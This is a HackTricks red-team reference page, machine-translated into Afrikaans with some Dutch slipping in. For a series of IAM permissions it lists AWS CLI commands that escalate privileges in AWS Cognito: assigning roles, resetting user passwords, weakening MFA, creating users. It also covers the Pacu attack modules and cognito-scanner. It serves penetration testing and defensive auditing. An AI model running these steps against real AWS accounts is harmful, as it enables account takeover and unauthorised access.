AWS - Cognito Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Cognito

Vir meer inligting oor Cognito, kyk:

pageAWS - Cognito Enum

Versameling van geloofsbriewe van Identity Pool

Aangesien Cognito IAM-rol-geloofsbriewe kan toeken aan beide geverifieerde en ongeverifieerde gebruikers, as jy die Identity Pool ID van 'n toepassing vind (dit moet hardgekodderd wees), kan jy nuwe geloofsbriewe verkry en dus privesc (binne 'n AWS-rekening waar jy waarskynlik nie voorheen enige geloofsbriewe gehad het nie).

Vir meer inligting, kyk na hierdie bladsy.

Potensiële Impak: Direkte privesc na die dienste-rol wat aan ongeverifieerde gebruikers gekoppel is (en waarskynlik ook aan die een wat aan geverifieerde gebruikers gekoppel is).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Met hierdie toestemming kan jy enige cognito-rol toeken aan die geverifieerde/ongeverifieerde gebruikers van die cognito-toepassing.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

As die cognito-app nie geaktiveerde ongeverifieerde gebruikers het nie, mag jy ook die toestemming cognito-identity:UpdateIdentityPool benodig om dit te aktiveer.

Potensiële Impak: Direkte voorregverhoging na enige cognito-rol.

cognito-identity:update-identity-pool

'n Aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito-gebruikerspoel onder sy beheer instel of enige ander identiteitsverskaffer waar hy as 'n manier om toegang tot hierdie Cognito-identiteitspoel te verkry kan aanmeld. Dan sal net aanmelding by daardie gebruikersverskaffer hom in staat stel om toegang te verkry tot die gekonfigureerde geauthentiseerde rol in die Identiteitspoel.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Dit is ook moontlik om hierdie toestemming te misbruik om basiese outentifikasie toe te laat:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potensiële Impak: Kompromitteer die geconfigureerde geauthentiseerde IAM-rol binne die identiteitspoel.

cognito-idp:AdminAddUserToGroup

Hierdie toestemming maak dit moontlik om 'n Cognito-gebruiker by 'n Cognito-groep te voeg. 'n Aanvaller kan hierdie toestemming misbruik om 'n gebruiker onder sy beheer by ander groepe met beter voorregte of verskillende IAM-rolle te voeg:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potensiële Impak: Privesc na ander Cognito-groepe en IAM-rolle wat aan Gebruikerspoelgroepe gekoppel is.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

'n Aanvaller met hierdie toestemmings kan groepe skep/opdateer met elke IAM-rol wat deur 'n gekompromitteerde Cognito-identiteitsverskaffer gebruik kan word en 'n gekompromitteerde gebruiker deel van die groep maak, wat toegang gee tot al daardie rolle:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potensiële Impak: Privesc na ander Cognito IAM-rolle.

cognito-idp:AdminConfirmSignUp

Hierdie toestemming maak dit moontlik om 'n aanmelding te verifieer. Standaard kan enige persoon aanmeld by Cognito-toepassings, as dit so gelaat word, kan 'n gebruiker 'n rekening skep met enige data en dit verifieer met hierdie toestemming.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potensiële Impak: Indirekte bevoorregte toegang tot die IAM-rol vir geïdentifiseerde gebruikers in die identiteitspoel as jy 'n nuwe gebruiker kan registreer. Indirekte bevoorregte toegang tot ander app-funksies deur enige rekening te bevestig.

cognito-idp:AdminCreateUser

Hierdie toestemming sal 'n aanvaller in staat stel om 'n nuwe gebruiker binne die gebruikerspoel te skep. Die nuwe gebruiker word as geaktiveer geskep, maar sal sy wagwoord moet verander.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potensiële Impak: Direkte bevoorregte eskalasie na die identiteitspoel IAM rol vir geauthentiseerde gebruikers. Indirekte bevoorregte eskalasie na ander app-funksies deur die vermoë om enige gebruiker te skep.

cognito-idp:AdminEnableUser

Hierdie toestemmings kan help in 'n baie seldsame geval waar 'n aanvaller die geloofsbriewe van 'n uitgeskakelde gebruiker gevind het en dit weer moet aktiveer.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potensiële Impak: Indirekte bevoorregte toegang tot die identiteitspoel IAM-rol vir geauthentiseerde gebruikers en toestemmings van die gebruiker as die aanvaller legitimasie vir 'n gedeaktiveerde gebruiker gehad het.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Hierdie toestemming maak dit moontlik om in te teken met die metode ADMIN_USER_PASSWORD_AUTH. Vir meer inligting volg die skakel.

cognito-idp:AdminSetUserPassword

Hierdie toestemming sal 'n aanvaller in staat stel om die wagwoord van enige gebruiker te verander, sodat hy enige gebruiker kan voorstel (wat nie MFA geaktiveer het nie).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potensiële Impak: Direkte voorregteverhoging na moontlik enige gebruiker, dus toegang tot al die groepe waarvan elke gebruiker lid is en toegang tot die geïdentifiseerde poel geoutentifiseerde IAM-rol.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: 'n Aanvaller kan hierdie toestemming moontlik misbruik om 'n selfoon onder sy beheer as SMS MFA van 'n gebruiker in te stel.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Soortgelyk aan die vorige een kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n gebruiker in te stel om die MFA-beskerming te omseil.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Soortgelyk aan die vorige een kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n gebruikerspoel in te stel om die MFA-beskerming te omseil.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Dit is ook moontlik om die gebruikerspoel op te dateer om die MFA-beleid te verander. Kyk hier vir die CLI.

Potensiële Impak: Indirekte bevoorregte toegang tot moontlik enige gebruiker waarvan die aanvaller die geloofsbriewe ken, dit kan die omweg van die MFA-beskerming moontlik maak.

cognito-idp:AdminUpdateUserAttributes

'n Aanvaller met hierdie toestemming kan die e-pos of telefoonnommer of enige ander atribuut van 'n gebruiker onder sy beheer verander om te probeer om meer voorregte in 'n onderliggende toepassing te verkry. Dit maak dit moontlik om 'n e-pos of telefoonnommer te verander en dit as geverifieer te stel.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potensiële Impak: Potensiële indirekte voorregverhoging in die onderliggende toepassing deur gebruik te maak van Cognito User Pool wat voorregte gee gebaseer op gebruikersatribute.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

'n Aanvaller met hierdie toestemming kan 'n nuwe User Pool Client skep wat minder beperk is as reeds bestaande pool-kliënte. Byvoorbeeld, die nuwe kliënt kan enige soort metode toelaat om te verifieer, geen geheim hê, token-herroeping gedeaktiveer hê, toelaat dat tokens vir 'n langer tydperk geldig is...

Dieselfde kan gedoen word as 'n bestaande kliënt gewysig word.

In die opdraglyn (of die opdateer een) kan jy al die opsies sien, kyk daarna!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potensiële Impak: Potensiële indirekte bevoorregte eskalasie na die Identiteit Pool gevolmagtigde gebruiker wat deur die Gebruikerspool gebruik word deur 'n nuwe kliënt te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir 'n aanvaller om in te teken met 'n gebruiker wat hy kon skep.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

'n Aanvaller kan hierdie toestemming misbruik om gebruikers te skep deur 'n CSV met nuwe gebruikers te oplaai.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(In die geval waar jy 'n nuwe invoerwerk skep, mag jy ook die iam passrole-toestemming nodig hê, ek het dit nog nie getoets nie).

Potensiële Impak: Direkte voorregverhoging na die identiteitspoel IAM-rol vir geïdentifiseerde gebruikers. Indirekte voorregverhoging na ander app-funksies deur enige gebruiker te skep.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

'n Aanvaller kan 'n nuwe identiteitsverskaffer skep om dan deur middel van hierdie verskaffer in te teken.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potensiële Impak: Direkte bevoorregte toegang tot die IAM-rol vir geïdentifiseerde gebruikers in die identiteitspoel. Indirekte bevoorregte toegang tot ander app-funksies deur die skep van enige gebruiker.

cognito-sync:* Analise

Dit is 'n baie algemene toestemming wat standaard in rolle van Cognito Identiteitspoele voorkom. Selfs al lyk 'n wildkaart in toestemmings altyd sleg (veral as dit van AWS afkomstig is), is die gegee toestemmings nie baie nuttig vanuit 'n aanvaller se perspektief nie.

Hierdie toestemming maak dit moontlik om gebruikersinligting van Identiteitspoele en Identiteits-ID's binne Identiteitspoele te lees (wat nie sensitiewe inligting is nie). Identiteits-ID's kan Datasets toegewys kry, wat inligting oor die sessies is (AWS definieer dit as 'n bewaarde spel). Dit is moontlik dat dit enige vorm van sensitiewe inligting kan bevat (maar die waarskynlikheid is baie laag). Jy kan op die opsomming bladsy vind hoe om toegang tot hierdie inligting te verkry.

'n Aanvaller kan ook hierdie toestemmings gebruik om homself in te skryf vir 'n Cognito-stroom wat veranderinge publiseer op hierdie datasets of 'n lambda wat geaktiveer word deur cognito-gebeure. Ek het nog nie gesien dat dit gebruik word nie, en ek sou nie verwag dat sensitiewe inligting hier sou wees nie, maar dit is nie onmoontlik nie.

Outomatiese Gereedskap

  • Pacu, die AWS-uitbuitingsraamwerk, sluit nou die "cognito__enum" en "cognito__attack" modules in wat outomatiese opsomming van alle Cognito-bates in 'n rekening en swak konfigurasies, gebruikerskenmerke wat vir toegangsbeheer gebruik word, ens., identifiseer, en ook outomatiese gebruikerskeuring (insluitend MFA-ondersteuning) en bevoorregte toegang gebaseer op wysigbare aanpassingskenmerke, bruikbare identiteitspoel-legitimasie, aanneembare rolle in id-tekens, ens., outomatiseer.

Vir 'n beskrywing van die modules se funksies, sien deel 2 van die blogpos. Vir installasie-instruksies, sien die hoof Pacu bladsy.

Gebruik

Voorbeeld cognito__attack gebruik om gebruikerskeuring te probeer en alle bevoorregte toegang vektore teen 'n gegewe identiteitspoel en gebruikerspoelklient uit te voer:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Voorbeeld cognito__enum gebruik om alle gebruikerspools, gebruikerspoolclients, identiteitspools, gebruikers, ens. te verzamelen die zichtbaar zijn in die huidige AWS-rekening:

cognito__enum

Hierdie opdrag sal alle relevante inligting oor gebruikerspools, gebruikerspoolclients, identiteitspools en gebruikers in die huidige AWS-rekening versamel.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner is 'n CLI-werktuig in Python wat verskillende aanvalle op Cognito implementeer, insluitende 'n privesc-escalasie.

Installasie

$ pip install cognito-scanner

Gebruik

$ cognito-scanner --help

Vir meer inligting, besoek https://github.com/padok-team/cognito-scanner

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated